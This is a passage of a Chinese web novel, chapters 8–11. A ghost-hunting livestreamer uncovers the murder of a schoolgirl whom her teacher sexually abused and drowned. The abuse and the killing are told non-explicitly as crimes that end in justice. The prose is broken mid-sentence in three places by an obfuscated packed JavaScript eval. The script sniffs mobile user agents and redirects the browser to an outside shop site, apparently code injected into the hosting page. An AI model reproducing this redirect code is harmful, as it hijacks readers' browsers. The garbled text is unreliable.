接下来季融都心情极佳，“好哒，观众朋友们，既然都说这里闹鬼，那不如我们一起来看看，那些‘朋友’究竟都长什么样呢？反正大伙儿也没见过，为了感谢富婆姐姐的小跑车，今天，我必须要让朋友们亲眼看看！没准，还能采访一下它的心理路程。” “它生前经历了什么，它是谁，它想要做什么。” “是一个鬼还是两个鬼还是三个鬼。” “还有它为什么要杀害完美大师糖的朋友呢？” 嘎吱。 季融推开第一个隔间，“请问，有鬼吗？好吧没有。” 第二个第三个第四个…… 拿了工资就是卖力，季融觉得自己现在浑身都有劲。 她得活下来啊，活不下来可是拿不到钱的！ “有吗？这里有吗？这里也没有？” 季融甚至想回去照照镜子，跟镜子里“那位”正面对峙，幸好关键时刻理智恢复正常，没有过分作死。 那位看上去心情不是很好的样子，她怕自己还没赚到太多钱就被拧断脖子。 当然，她来这里就是干这个的。 毕竟，她的直播间名字叫做—— 《你好厉鬼》啊！ 看不到鬼，可是留不住观众的！ 季融一路推着厕所隔间的门走进去，这里实在是太久没有人来过了，一些陈旧垃圾散发着臭味，空气里夹杂着无数怪味。 灯光忽明忽暗，照得瓷砖惨白发青。 可走到后半段，季融才发现，后面的灯光几乎将近与无，明明这里仍在光照范围，可季融依旧感觉到四周一片黑暗。 没有办法，她只能把手电筒拿出来。 光束亮起，聚焦在前面。 突然，一条皱巴巴的裙子出现在季融眼前。 季融愣了一下。 她缓缓走过去，身影融入黑暗之中，除了眼前这束手电筒的光，伸手不见五指，回头一看，散发着惨白光线的厕所几乎与她隔绝开来，像是两个世界。 而她进入了一个诡异的黑暗空间。 地面突然变得干净起来。 出现在季融眼前的先是一条皱巴巴的裙子，像被人粗暴地撕下来，随手扔到一边。 这是那种蓝色水手服的裙子，这个年代在他们国家暂不流行，只出现在美少女战士中，和某国的学生身上。 季融不知怎么的，想到了极其糟糕的东西，眉头皱了起来。 光束再往里，是一对脏兮兮的白袜子。 接着是衬衫、领带、胸罩、内裤…… 破破烂烂皱皱巴巴，沾着水，沾着黏液，然后停在了最后一个隔间。 并非所有隔间都是关门的，因此很多时候，看着开着的隔间，季融可以确定，前面的隔间没有人，所以她才敢大声呼唤。 可最后这个隔间—— 门紧紧闭合，把手沾着水渍。 里头有鬼。 8. 008 【半尘风：？？？这什么，不是吧不是吧，哪里来的野鸳鸯啊，大半夜到这种地方乱搞？】 【愿世界没有情侣：FFF军团启动！烧烧烧！】 【花洒销售小陈：……不是，你们能不能醒一醒，这看着正常吗？而且这身衣服这个尺寸，根本就不是成年人吧？】 【严肃大叔：我建议报警。】 【绿巨人大将军：艾玛真是急死我了，主播你倒是进去看看啊，到底是人还是鬼啊？！】 季融微微拧起眉，她停在最后一个厕所隔间门前，望着紧紧闭合的门，缓缓地舒了一口气，然后才小心翼翼地问：“你好，里面有人吗？” “……” 里头没有声音。 季融一颗提起的心刚刚回落，突然，伴随着哗啦哗啦的声音，她吓得猛地一回头，原来是蓄水池的水满了，及时放闸，将里头的水放出来，喷涌的水朝着厕所沟一路往下冲。 哗哗哗！ 寂静的厕所里，水声嘈杂，几乎刺耳。 可她进来的时候就留意过，蓄水池早就已经满了，但早已被管理员卡住了闸门，既没有活水灌入，池子也不会放开，里头的水更不会冲出。 只有一潭不知放了何年何月的死水，沉沉地灌满一池。 那现在是怎么回事？ 是谁放了闸？ 回头一看，根本空无一人，只有灯光闪烁，似乎又暗了一个度，一切看起来都灰蒙蒙的，季融脸色有点儿泛白，然后她忽然听见，耳边传来了一声猫叫似的声音。 “好痛。” 季融一个激灵，是隔间里传来的声音！ 那是一个虚弱的女声，季融听见她的呼喊，连忙问：“你怎么了？发生什么事了？要我帮你做什么？” 那女声不回答，她只是一直重复着同样的话，声音忽高忽低，忽远忽近，像哭又像叫。 “好痛。” “好痛好痛好痛。” “痛痛痛痛痛痛痛……” “想死，好想死。” 她的哭腔越来越重，最后近乎呐喊，又像是在求救，然后嘭的一声，她的手似乎痛苦地拍在门板上。 刺啦—— 指甲抓挠着门板，一下又一下，像生锈的贴片擦过玻璃，没一阵就鲜血淋漓。 季融只觉得浑身都起了鸡皮疙瘩，这声音刺得她耳朵生疼，牙根都在发酸。 这就是那个邪祟！ “它”为什么会这么痛苦？ “它”生前经历了什么？ 况且，听声音，这只是个年纪不大的女孩子。 突然，啪嗒一声，似乎有什么东西落地。 哭声嘎然而止。 周围一片死寂，而在这死寂之中，嘎吱—— 隔间的门，开了。 里头黑幽幽的一片。 一只死灰色的、染血的……少女的手颤抖着伸了出来。 门越开越大，除了那只手，依旧黑魆魆的，什么也看不见，季融头皮发麻，就在她以为到此为止的时候，血腥味扑鼻，另一只更惨烈的手伸了出来。 之所以惨烈，是因为那只手里……竟然捧着一个不足月的、只有巴掌大的婴儿！ 它根本没有长成人的模样，看起来怪异扭曲，血肉模糊，薄薄的红色皱皱的皮肤下，甚至能看见那颗跳动的心脏。 下一瞬，季融耳边传来一声尖锐的猫叫。 那婴儿猛地睁开眼，怨毒地与她对视。 突然，一把巨力袭来，眼前的景象消失，季融只觉得有什么在掐住自己的脖子，低头一看，竟是那双血腥的手！ 哗啦！ 霎时间，浑身冰冷透骨。 等到季融反应过来，身体已经被拖进了那个庞大的蓄水池。 咕噜咕噜。 水泡疯狂上升。 季融挣扎着，“放开、放开我……” 她拼命地用手指扣住水池边沿，与那股恐怖的怪力搏斗，恐惧几乎将她整个人笼罩，在这冰冷漆黑的水里，她几乎什么也看不见，什么也听不到，唯一能听到的，只有那阵细细的哭声。 季融怕极了，霎时间，她想到了诡异末日的几十年，那些可怕的邪祟是怎样轻而易举地杀死那么多人。 难道她要死在这里了吗？ 难道她无法改变为来吗？ 不，她重生在这里，一定是有理由的！ 有那么多人看着呢…… 不可以放弃，不可以害怕。 窒息感几乎让季融失去意识，生死交错间，她反反复复重复着同样的话。 勇敢可以驱逐邪祟。 邪祟畏惧勇者。 邪祟畏惧勇者。 邪祟畏惧勇者！ 她猛地睁开眼，破口大骂：“管你受了什么苦，犯了什么错，遭了什么殃，冤有头债有主，关我屁事！有本事杀害你的人去，蠢猪！废物！笨蛋！垃圾垃圾垃圾！” 骂到最后，永远恨自己词汇量不够。 可就在这时，她忽然感觉到，那股沉沉拉住自己的力道变弱了，低头一看，那带血的婴儿恶狠狠地盯着她，季融怒从心头起，抬手就是给它一一拳。 “人型都还没有，就想着杀人，活下来也是个垃圾。” 骂了一句不够，再来一拳。 连连好几拳，打到它变形，打到它脑壳凹陷，气不过准备手撕“鱿鱼”，就在季融都在想着自己是否太凶残的时候，突然，鬼婴愤怒地哭叫了一声，痛苦而又不甘地，在季融眼前，化作一滩血水，彻底消失。 她强，邪祟就弱。 轰隆。 蓄水池再次放闸，液体和血水疯狂涌出，那股束缚的力道彻底消失，季融抬头一看，隔着扭曲冰冷的水波，蓄水池外，一个湿漉漉的人影面无表情地盯住她。 那是一个十几岁的女孩。 身体已经被泡得浮肿发白，从头到脚都是谁，乌黑的头发淌着水，一张脸早就被泡得脱皮腐烂了。 只有一双阴冷的眼睛尚且完好。 季融现在不怕了，她抿着唇，终于想起了自己的背包。 她的背包很大，是那种大型登山包，里面装了她所有的道具。 季融身上从背包里掏了掏，掏出一个打火机。 打火机还不够，摸来摸去，竟然摸出一大卷包装极好的红色大鞭炮。 在看到女鬼的时候她就知道自己猜对了，这邪祟杀人的方式都是将人扔进水里淹死，怨气极大，生前没准是被水淹死的。 那就用火烧、用鞭炮炸它！ 角落里，跌落的手机完全将这一幕幕录了进去，直播间此时几乎达到了空前的高度。 【恋爱ABC：我去，银家真的吓傻了，那那那、那个是什么的东西？！哎呀我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882934|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妈！】 【我就随便看看：从另一个主播那里介绍来的，说有漂亮妹妹让我好好说话，结果让我看到真货了，妹妹是漂亮，就是让人有点害怕。】 【我缺钙：主播好猛！这是想要用鞭炮炸鬼啊？炸啊！炸死小鬼子！】 【美嘟嘟：都是道具和演员吧？要不然就是特效！特效！骗不了我，我最爱看这种恐怖探险直播了。】 【很淡定很美好：我证明，我就是那个道具，我现在已经准备钻到你床底下去要你的命了。】 【41度高温我真的会绝晶：啥啊你，这能是道具？这能是特效？尼玛主播刚才被淹进水里将近三分钟，正常人都要死了！演能演成这样？神经吧！】 【粉色天父：哈利路亚，女鬼看起来好惨啊，主播就不能超度一下帮帮她吗？太冷漠了吧？】 【兔子小可爱：楼上傻叉？】 【我要赚大钱：傻叉+1】 【说爱你：傻叉+2】 【你哭了我笑了：我宣布，把女鬼送给粉色天父。】 【“富婆重金求子”打赏主播跑车X1】 【“富婆重金求子”打赏主播跑车X1】 【“富婆重金求子”打赏主播跑车X1】 季融没有看见评论区，但是她在用余光找手机的时候，瞥见了炸出来的三朵动图小烟花。 这得感谢她喜欢户外运动，爱跑步，爱游泳，体质好，身体好，眼睛视力也好。 三辆跑车到手就是3千块。 一晚上赚了4千。 季融沉默了。 再扭过头，盯着女鬼的模样，不知道为什么，总觉得她长得有点像人民币。 就挺好看的。 观众：？不知道为什么，感觉主播眼睛在冒光。 季融心情很好，她决定给对方一个机会。 “说吧，你有什么冤情？” 不说她可就放鞭炮了。 庆祝她今晚赚了八千块啊啊啊啊！ 不过季融也就嘴上这么说说，她也不指望能和阿飘做什么深入交流，这邪祟现在还没有几十年后怨气那么重，也没那会儿那么难杀，咔一声，季融摁响打火机，刚准备点燃鞭炮， 滴答、滴答滴答滴答。 水龙头突然打开，水珠如同细线般落下，像少女的眼泪。 “少女”没有眼泪，变成鬼的时候，她已经无法落泪。 季融看见眼前这个泡白腐烂，面目狰狞的女孩，缓缓地垂下了脑袋，冰冷的躯体窸窸窣窣地淌着水，然后她背过身，一步一步地，走进了厕所最后一个隔间。 嘭的一声，厕所隔间门关上。 季融懵了一下，没闹懂她的意思，就在这时，忽然一阵天旋地转，眼前乌黑，再睁眼时，面前是一片林子。 林子茂密，最近的地方还有一棵树。 季融瞅着这地方眼熟，再仔细一想，这不是厕所门口吗？ 只是这里更新，更……年轻一些？ 那些树都没有长成如今的模样。 季融很快意识到，她看到的极有可能是以前的平乐公园，季融有点犯迷糊，刚想走出去，突然，面前有什么东西挡住了自己。 伸手一摸，竟然有一块玻璃。 季融迟疑了一瞬，伸手摸索了几下。 片刻，她突然反应过来，自己……被关进了镜子里！ 9. 009 季融拍拍玻璃镜面，这都快给她气笑了。 原本就有人说这镜子里装了人，结果把她自己给装进去了。 思索片刻，季融决定暂时不挣扎，她要看看那邪祟要跟她说什么。 此时外面太阳高照，显然处于正午。 光线极其刺眼，甚至让人感觉有些烫手，而这个时候，一眼看出去，平乐公园里头似乎没什么人走动，零零散散，偶尔只能看见几个退休老人散步。 季融想了想，像这种情况，这时候十有八九是工作日。 门边，那个蓄水池一如既往，只不过这时没有关闸，这年头也没有设置什么自动冲水，就连厕所，也是一条沟通完全部，等待蓄水池最后一冲而下。 轰隆，放闸，冲水。 伴随着哗啦的巨响，季融忽然听见了一点儿细碎的声响。 “不、不要……”是女孩挣扎的哭声。 “不，你要！婷婷、婷婷……听我说，听老师说！”男人急促地喘息，“老师是喜欢你才这么对你，你懂吗？你懂吗？老师是爱你啊！” 季融动作停下来，眉头皱得死死的。 她没想到会听到这种话，几乎顿时绷紧了身体，双手死死按在玻璃镜面上。 老师？ 这不是畜生吗，对学生下手。 还什么喜欢啊爱的，对学生说这种话，配吗？ 那声音还在继续，女孩一直哭，直到不知道第几次蓄水池放开，一个女孩才咬着嘴唇走出来，她是穿着校服的，蓝色短袖和黑色长裤，只是被揉得皱巴巴一团，像是被人狠狠摔了一跤，蹭上不少污渍。 当然脏了。 那畜生欺负她，连个好一点的地方也不愿意去。 女孩肌肤白皙，戴着黑框眼镜，剪了个蘑菇头，她站在盥洗池前，一只洗手，用力洗手，一下又一下，几乎要把自己的皮都搓破。 她受了那么大的苦，在这个时候却连哭也不敢哭。 她只是死死地咬住自己的嘴唇，深深地低着头，不敢看镜子里的自己，也不敢发出声音。 不知过了多久，她猛地停下动作，浑身颤抖，仿佛丢了魂魄，人也死了。 几名老人散步结束，结伴上厕所。 他们诧异地看了女孩一眼，似乎不明白现在本该是上学的时间，怎么会有个学生在这里？ “姑娘崽，好好上学咯，你爸妈赚钱不容易。” 但也就说说，几个老太走进女厕所，突然有人惊呼一声，一个男人笑脸憨厚地抓着头发从女厕所里走出来，“不好意思不好意思，走错了走错了！” 老太太们骂骂咧咧几句，男人看也没看盥洗池旁的女孩，似乎完全不认识这个人，潇潇洒洒地走了。 季融深深吸了一口气，想打人。 光影流转，天色骤暗。 男人揽着女孩出现。 女孩脸上化着浓妆，几乎看不出她原本面貌，头上还戴着一顶黑色长发，眼镜被摘掉了，身上穿的，也不是她自己的衣服。 白衬衫，蓝色短裙。 某国女生的装扮，可这个年代出现在这里，只会引人遐想。 平乐公园里一片漆黑，偶尔亮起几盏彩灯，氛围极佳，最适合情侣幽会。 没有人对他们产生怀疑。 在走进这个厕所时，女孩死死地盯着女厕所的漆黑深处，那是她的地狱，她惊恐地瞪大眼，站住不动了，推不动，拉不动，扯不动，浑身发颤。 男人不耐烦推了她一把：“搞什么？老师对你那么好，你就是这么报答我的？快点，今天约好的，特地给你买这身衣服，是老师最喜欢的款式，今晚要玩刺激，不要让我失望。” 她还是不愿动。 “啧。” 索性用蛮力生拉硬拽，她一个未成年的小女孩，哪里抵得过三十几岁的成年男子，然后终于被推进了黑暗。 季融听见里面传来骂声，还有巴掌声。 她深深吸了一口气，眼睛却在发红，怒意让她浑身颤抖。 后来又陆陆续续来了好多次。 有时是水手服，有时是豹纹吊带，有时又穿着仙气飘飘的白色连衣裙，有时男人甚至会西装革履，而女孩，则穿着世界上最神圣的……她的校服。 但校服没有保护她。 最后一次，她是自己来的。 她脸色煞白地捂住肚子，坐在最后一个隔间，哭叫着，抓挠着，然后诞下了血块。 很快，男人不知怎么收到风声，竟然在门口堵住她。 她虚弱得几乎快站不住了，但今天的她，仇恨地看着男人：“我要告诉我爸爸！我要告诉我爸爸！我要报警！我要报警！” 原来今天是全校师生一起在广场上了一节安全普及课，其中就有涉及到女生的安全问题，甚至警告了一番在场的男女老师们。 她终于懂了。 但是太迟太迟，又或者不算太迟。 她要告诉爸爸！要告诉妈妈！ 男人登时脸色大变，他恶狠狠地扣住她的肩膀：“你想死吗？我可是知道的，你爸粗鲁又暴躁，听说平时就没少跟你妈吵架，告诉他？你是不是想被他打死？！” 她不听，“我要告诉我爸！告诉我妈！我早就该这么做了！是你骗了我！是你欺负了我！我没错！我没错！就算他们把我打死！打死也就打死算了！我没错！” “老师那么喜欢你！你想让我死吗？！”男人听得表情扭曲，“你爸爸是方圆百里最出名的杀猪佬，在班上那些同学对你指指点点的时候，是我帮你，只我在替你说话，你就是这么报答我的？你告诉他、你告诉他你是想害死我！我不只是会失业，还会被你那个粗鲁暴躁的老爸杀死！” “再说了，就算你告诉他又怎么样？你有什么证据？难道不是你年纪轻轻勾引我？我一个三十几岁的男人，怎么会看上你这种黄毛丫头？” “我直接报警把你和你爸妈抓去坐牢！” 他还敢跟她说这种话！ 发生那种事后，她是那么羞耻，她是那么恐惧，怕爸爸知道了觉得丢脸，也怕被爸爸妈妈知道引发他们争吵。 他利用她这一点。 现在，他竟然还敢威胁她！ 她好恨。 她恨不得要杀死他！ 女孩突然推了他一把，恶狠狠地咬住他的手臂，恨不得吃了他的肉，喝了他的血。 男人惨叫一声，见她突然松开想跑，他神色聚变，眼神充满恐惧，不行，不能让她逃，不能让她毁掉他的工作！ 他马上就要和领导的女儿结婚，到时升官发财成为人生赢家…… 不能受她影响！ 男人猛地抓住她的头发，面目狰狞地拖拽着她的身体，然后用力地、用力地将她掐进蓄水池里。 蓄水池还没满，尚且不会开闸。 他就把她的头颅死死地摁在蓄水池最底层，他要把她的命、她的魂留在这里，再也不能纠缠他！ 不知过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882935|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久，女孩挣扎的力道逐渐微弱，最后将近于无。 她沉沉地垂入蓄水池，全身瘫软，一双黑魆魆的眼睛浸泡在水里，透过扭曲的水纹，自下而上的，死气沉沉地盯着男人。 男人蓦地惊醒，慌到不行，可他兴许是真的气运之子，这一连串动静，竟然没有惊动任何人，没有人经过这里，没有人听到声音，有的只有一具泡在水里的尸体。 更幸运的是，最近平乐公园传闻有杀人犯，杀了好几个。 如果这个时候女孩失踪，神不知鬼不觉，恰好嫁祸给那个杀人犯。 简直天衣无缝。 啪嗒一声，光线暗了下去，厕所的灯熄灭，故事落幕。 季融抬起头，年久失修的公厕电灯传来滋啦滋啦的声响，兴许早就该坏掉了，只是女孩坚持求一个公道，才会顽强地坚持至今。 这间公园实在是荒废得太早太快了，否则，情况或许会不一样。 季融在心里叹了一口气。 她点亮手电筒，找到自己的手机，公厕外的参天大树遮天蔽日，挡住了最后一点月光。 她又回到了镜子外面的世界。 季融在镜子里待了好长时间，可在外面，似乎只有几分钟。 可这几分钟也够引起轩然大波了。 【欧巴撒浪嘿：主播主播你终于回来了！救命，你刚才到底去哪了？吓死我了！】 【腰不酸腿不疼：我靠，到底怎么回事啊，刚才发生了什么？主播不是要炸阿飘吗，怎么一下子人就不见了，我还以为主播人没了。】 【豆奶哥：主播现在还好吗？能不能说一下刚才怎么了？是不是……阿飘找你说话去了？我去，今晚也太玄幻了，来真的啊。】 【豆奶姐：笨，有没有可能主播现在被附身了，现在这个根本就不是我们认识的主播！】 【41度高温我真的会绝晶：话说主播现在表情是不是有点太严肃了，我靠，主播你干嘛？你还想去找、找那个“好朋友”？差不多就行了！小命要紧啊！】 “谢邀，还活着，是本人。”说完，季融拿着手电筒，慢慢朝着最后一个隔间走去。 这一回，她心里没有恐惧。 门依旧紧紧关着。 但季融轻轻一推，随着嘎吱一声，门就开了。 然后季融看见，那女孩背对着她站在角落里。 女孩始终是低垂着头的，面对着肮脏的，积满灰尘和蛛网的墙，身上穿着她最喜欢的蓝色校服短袖和黑色长裤。 季融说：“我也喜欢穿校服，在同一个学校，穿着同样的衣服，做着同样的事情，简简单单，没有谁高谁低，有着最纯粹的快乐。” 滴答、滴答滴答…… 黑色长裤有什么液体落下。 是血。 很快在地面汇聚成血洼。 季融脱下自己的外套，将它系在女孩的腰间，然后从后面轻轻握住她冰冷僵硬的手，低声说：“没关系的，不要怕。” 顿了顿，她又说：“能告诉我，你的尸体在哪里吗？” 过去的很难过去。 但现在，她可以努力做保护她的那个大人。 静默许久，就在季融以为要僵持很久的时候，女孩背对着她，轻轻抬起手，然后指了个方向。 季融走出厕所一看。 她指的是厕所旁边的那棵大树。 季融不知自己是什么心情，叹息着说道：“竟然真的吸食了尸体的养分。” 10. 010 季融报警了。 在直播间所有网友的督促下，这一带的警察几乎不到十分钟就已经赶到这里。 这事说来有点古怪，如果最后没挖出尸体，可能还会浪费警力，最后导致季融也进局子里走一趟。 这时已经将近凌晨一点。 被半夜从被窝里叫醒，警察们干起活来比平时更迅速，周围被迅速围了起来，霎时间，这间公共厕所附近灯火通明。 季融也有点惊讶，她没想到事情会这么顺利，本来还以为要扯一会儿皮呢。 毕竟这事实在是有些天方夜谭，女鬼跟你说她的尸体在这里就在这里吗？有没有可能是季融她自己脑子有问题呢？ 就算网友看见了又怎么样，现在的直播软件又没有录屏的功能，谁敢说季融是不是耍了点什么戏法，糊弄观众跟着一起撒谎呢？ 为首的是个身材高大的男人。 大概三十出头，一张风吹日晒的脸，皮肤黝黑，但也有点英俊。 身上穿着警察制服，但瞅着有点邋遢，还有一股汗味，听说是连着上了几天班，今晚在值班室里本来想偷偷眯一会儿就被叫来了。 季融看他木着脸的样子，感觉他怨气比鬼还重。 不料在听她说了那些话后，这位警官神情微妙地看了她一会儿，说：“小同学，咱们书本里都是怎么说的？” 季融长得显小，她两辈子都没接触过警察，被对方一问，有点紧张：“我学习成绩差，大专还是靠成绩擦边才考进去的。” “……”游金山无语，顿了顿，说：“警惕封建迷信。” “……”轮到季融无语了，“我拜神，但不信神仙能让我发财，我相信人定胜天，财富靠自己的双手创造，也没有奇奇怪怪的东西送过钱，应该还好吧，不算封建迷信。” 话说到这，她都以为要开始自己上手挖泥土了，这事非得把女孩的尸体挖出来才作数。 没想到游金山挥挥手，警察们已经带着几名工人和家伙上去挖土了。 晚上的风有点凉。 季融远远看着，心跳很快，这个时候，她根本不知道冷。 警察办公，直播间已经关了。 季融眼看着土坑越挖越深，怎么还是没找到女孩的尸体？ 那男的有这本事挖那么深吗？ 挖那么深的土，怎么能不被人发现呢？ 就在季融自己也开始怀疑的时候，突然，一名警官大喊：“有了！找到了！” 季融的心几乎瞬间停了一下。 她快步跑过去，只见一米深的坑底，埋着一个黑色的塑料袋，这袋子极大，像菜市场那种装垃圾的。 警官们小心翼翼地把“东西”抬起来。 将朔料袋打开，里面确实有一具尸体。 是个女孩，已经看不出原本模样了，大树蓬勃生长，根部蔓延舒展，刺穿了她的身体，像一座巨兽，匍匐在她身上。 大树吸食了她的血肉，同时，也掩盖了尸体的臭味。 然而看过她的尸体后，警官们表情都有些诡异。 季融探过去一看，女孩明明死了那么久，那么长的时间，右手竟然仍然是死死捏紧的。 别的地方都腐烂干枯了，只有那只手，依旧诡异地保持着惨白潮湿的皮肤，狰狞地扣成鸡爪状。 游金山皱起眉，与在场的法医对视一眼，法医会意，小心翼翼将她的手松开。 原本扣得死紧的右手，竟然在法医触碰到她的瞬间，倏然松开，露出里面一截带着血迹的布料。 她死的时候有多憎恨就有多用力，用力地抓住男人的衣服，指甲嵌进他的皮肉里，拽着衣服，狠狠地扯下一块带血的血肉。 2008年，通过DNA确认血迹来源的技术已经非常成熟。 季融在看见那块布料的瞬间，心底猛地一松，她缓缓退后一步，找了张石凳坐了下来。 “太好了。” 没过多久，又有两个人赶来。 游金山说：“去看看是不是你们的女儿。” 闻言，季融惊讶地抬眼看去，女孩的父母竟然来得这么快？再定眼一看，两人竟然穿着清洁工的衣服。 季融正觉得困惑，忽然听见旁边的小警察和同伴叹了口气：“这两口子天天到警局报案，说自己女儿一定是丢在平乐公园了，当年那桩连环杀人犯，连凶手自己都忘了杀几个人，问到有没有杀一个平乐高中的学生，他疯疯癫癫地应了。” “可仔细一查，其余的受害者都有尸体，只有那女孩没有。” “她父母坚信孩子还在平乐公园，活要见人死要见尸，每天都要来警局问一次，问不到，就自己去找，这里这么大，怎么找？更何况今天才知道，那女孩成了树肥。” “男人关了猪肉摊，女人辞了厂里的工作，天天找，日日找，夜夜找，公园管理看他们可怜，就收了他们做这里的清洁工。” “怪不得看他们那么眼熟，原来是那对夫妻……之前还听见他们吵架，说什么要不是你女儿就不会失踪，这个骂那个，那个骂这个，感情差到不行。” “是呀，这两口子，在一起都像是相互讨债的，谁能想到，这么多年，吵了几十年了，到头来，为了找女儿，就算痛苦，也要携手一起干下去。” 那两口子相互搀扶着来到这里，女孩死的时候16岁，即便过去那么多年，女孩的父母到今年，也才四十出头。 可季融看着他们，看见的却是两个身形佝偻的老人。 头发已经白了，满是风霜的脸，他们低着头，丝毫不介意女孩烂掉的尸体，双手轻轻抹开她身上的泥土。 轻轻抹，轻轻擦，像在抚摸。 过了好久好久，才听见他们说：“没错，是我们家婷婷。” 两人的身形骤然塌了下去，说不清是什么情绪，眼泪没有落下半滴，兴许是早在婷婷失踪的时候，就已经流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882936|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干了。 有了开头，这事处理起来也快。 反正玄乎的事情也玄过了，季融直接跟游金山说了：“婷婷跟我说，害她的人是她老师。” 季融回忆了一下那男人的长相，“方形脸，双眼皮，有一对酒窝，看起来挺憨厚的一人。” 顿了顿，她又面无表情地补上一句：“但人面兽心，再查查他手底下的其他学生，没准能查出点什么来。” 警察那边也有他们自己的方向，不用季融说，已经迅速从婷婷身边的人调查了起来。 实际上早在之前，一名叫做关艾的老师就已经进入他们的嫌疑范围。 婷婷是一名艺术生。 关艾，是她的艺术老师。 平乐公园环境优美，身为艺术老师的关艾，每周都会带学生来一次这附近写生。 因此大多数是工作日，学生上学的时间。 关艾三十出头，但模样长得不错，性格又平易近人，和其他严肃的老师不同，他在学生之中有极高的声望，女朋友又是学校领导的女儿，有了这层关系，任谁都看得出来，关艾必然是前途无量的。 没有人想过，婷婷失踪，竟然与他有关。 毕竟，在婷婷失踪的那天，他当着所有人的面，大哭了一场，那一天他和平常一样，带着艺术班里的学生一起到公园写生。 数一数，一共有20个人呢。 有20个学生做监督，谁能想到他还能抽空杀个人？ 甚至，在过去的无数次，他在这间公共厕所欺负婷婷的时候也无人知晓。 毕竟男人嘛，就那几分钟。 几分钟而已，吃个饭的时间都不够。 上个厕所、给面前的小鸟描个线、和同学吵几句嘴，几分钟就轻而易举地消失了。 而婷婷失踪那天是她自己请的假，关在在这里找到她，倒真是碰运气，他早猜到婷婷有“背叛”的意向，一直想跟她“谈谈”，他把女孩杀掉后，将女孩反锁在最后一个隔间，再从隔间里面爬出来。 等到公园没人了，再深夜过来偷偷埋人。 本该要怀疑他的。 但当天20个学生都在，女朋友又替他作证，关艾得知婷婷失踪，还在所有人面前嚎啕大哭，痛自己没有关注婷婷。 他还说：“那孩子相来沉默寡言，和其他人处不来，会不会是有人欺负她，让她想不开了？对不起，千错万错都是我的错，我身为老师，我没有照顾好她。” 他哭得真心实意，别的同学听着也为他伤心。 他的坏事做得隐秘。 如果不是五年后的今天，也许真如他跟婷婷所说：“你有什么证据？” 难道抓得了他吗？ 顶多就是有些绯闻，丢掉工作罢了。 但他有岳父保底，只要去跪一跪，哭一哭，求一求，几年后劣迹一擦，总能东山再起。 这事是在季融的直播间里闹开的。 11. 011 可笑，太可笑了，他们说是一个女主播发现了事实真相，导致了接下来的一连串反应。 还说什么……是那女主播看见了鬼？ 那女鬼还被所有人看见，才让他受所有人针对，辱骂，厌恶。 怎么可能！ 这世上怎么会有鬼？ 关艾脸色煞白，这是一间六人房，另外几名狱友早早入睡，只有他，每天每天都被殴打，痛不欲生，无法逃离，现在连坐一下都不行，全身都是伤痕。 那些家伙还打得极为隐蔽，让他连举报的机会都没有。 而那些人鄙夷的眼神更是刺痛了他。 凭什么？ 凭什么？ 都是罪犯，有谁比谁更好？ 至于鬼，就更不可能了。 他们都说那是婷婷的鬼魂…… 婷婷…… 想到这个名字，关艾冷不丁打了个寒颤，他最近总觉得冷，整个人像被关在冰窖里，空气又冷又湿。 关艾死死地抱住自己，想给自己一点温暖。 可汗水淋湿了他的身体。 关艾用力擦着头，擦着脖子，想要汗水快点干，滴答、滴答滴答滴答……他的汗滴得像水龙头没有关紧，源源不断，持续地滴着，然后这汗水越来越多，越来越快，没多久，就将他的床铺滴湿。 关艾面色大变，有些崩溃了。 “怎么会这样？怎么会这样？！” 他所坐的位置，床铺上竟然已经汇聚成一片湿漉漉的水洼，多得能照清他的脸。 关艾情不自禁低下头，看着水洼里自己的脸，下一瞬，他惊恐地瞪大双眼。 就在他的肩上，不知什么时候搭上一只染血的青灰色的手。 湿漉漉的头发带着腐臭味，有什么缓缓低下头，凑在他耳边。 “老师，你在找我吗？” 半个月后，关艾在自己的床铺上……死于溺水。 *** 平乐公园。 火星啪呲作响，老夫妻神情麻木地烧着纸钱。 季融过来的时候，手里拎着一个袋子，老夫妻看见她，眼神有些惊讶，女人眼眶瞬间就红了，激动地问：“季小姐，能不能求你帮帮忙，让我见我女儿一面？我有好多话要跟她说，我想问问她吃不吃得好？穿不穿得暖？要不要再给她多烧些钱。” 旁边，堆满了五颜六色的祭品，中间还有一只大肥鸡。 男人欲言又止，虽然没有说话，眼神也期待地望着她。 季融把袋子放下，“很抱歉，我没有那个能力，况且，真相大白，婷婷也该去了吧。” 两口子眼神黯了下去。 “不过……” 季融打开袋子，里头是一套崭新的校服，和平乐高中的是同款，尺寸与婷婷的也差不多，季融看了他们一眼，说：“但我想，她很喜欢这套校服。” 季融把校服放进火盆，眼看着火焰吞没校服，烧得更盛更旺，季融站起来，目光落在幽暗的女厕深处，在那里，似乎立着一个女孩。 